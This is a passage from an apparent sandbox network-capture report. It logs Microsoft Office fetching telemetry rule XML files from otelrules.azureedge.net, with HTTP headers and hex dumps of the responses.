/> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:09 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:10 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: f26cc31d-e01e-0085-3f0e-3ec311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110810Z-178bfbc474bmqmgjhC1NYCy16c00000007g0000000003ezt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:10 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:10 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:10 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 652d7de6-201e-0033-5d3c-3cb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110810Z-15b8b599d886w4hzhC1TEBb4ug00000005y0000000005zxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:10 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:10 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:10 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 20e9f7cf-701e-005c-216c-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110810Z-174c587ffdf6b487hC1TEBydsn00000005v0000000003rfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:10 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:11 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:12 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:12 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: b4a0a361-201e-0085-1a52-3e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110812Z-15b8b599d88tmlzshC1TEB4xpn00000005n000000000hbhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 11:08:12 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:11 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:12 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 20b8ead9-d01e-0028-50c0-3e7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110812Z-178bfbc474bnwsh4hC1NYC2ubs00000007e0000000006t9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:12 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:12 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: c8648c8c-d01e-005a-08bf-3e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110812Z-178bfbc474btvfdfhC1NYCa2en00000007g0000000003grd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:12 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:12 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: ebbdbf89-001e-00a2-5a6a-3cd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110812Z-174c587ffdfcj798hC1TEB9bq400000005vg00000000r951 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:12 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:12 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:12 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1a99a412-f01e-0099-613c-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110812Z-178bfbc474bp8mkvhC1NYCzqnn00000007ag0000000007p0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:13 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:14 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: e7f827c2-101e-005a-4855-3d882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110814Z-174c587ffdfcj798hC1TEB9bq4000000062g000000002rb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:14 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110814Z-174c587ffdfb74xqhC1TEBhabc00000005v0000000009yug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:14 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:14 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:14 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: b4c9b55b-301e-001f-1d02-3faa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110814Z-174c587ffdfgcs66hC1TEB69cs00000005kg00000000mtbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:08:14 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:14 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:08:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110814Z-174c587ffdfdwxdvhC1TEB1c4n00000005rg00000000ctu0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
